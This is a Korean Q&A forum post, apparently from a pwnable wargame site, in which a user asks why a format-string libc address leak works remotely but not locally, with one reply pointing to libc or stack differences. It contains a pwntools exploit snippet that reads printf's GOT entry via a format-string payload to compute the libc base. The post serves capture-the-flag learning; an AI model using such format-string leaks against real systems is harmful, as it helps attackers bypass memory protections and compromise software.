remote에선 되고 local에선 안되는데 왜이럴까요...
payload = p32(e.got['printf'])
payload += b"%x%x%x%x.%s"

In(payload)
Pr()
io.recvuntil('.')
printf = u32(io.recv(4))
print(hex(printf))
libc_leak = printf - libc.symbols['printf']

remote에서는 정상적으로 libc leak이 되는데..
image.png
local에서는 libc leak이 안되네요.. 왜이러는지 궁금합니다
image.png

#pwnable
작성자 정보
답변 1
qwerty_io
대표 업적 없음

우선 크게 2가지 경우를 생각해볼 수 있습니다

  1. 리모트에서 사용하는 libc와 로컬에서 사용하는 libc가 다른 경우
  2. 스택 정보가 다른 경우

질문자님의 경우 1번 문제일 확률이 높으며, 로컬 테스트 중 로컬에서 사용하는 libc파일을 elf()로 올바르게 로드해 사용했는지 확인해보는 것을 권장합니다!

2025.01.28. 20:27
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기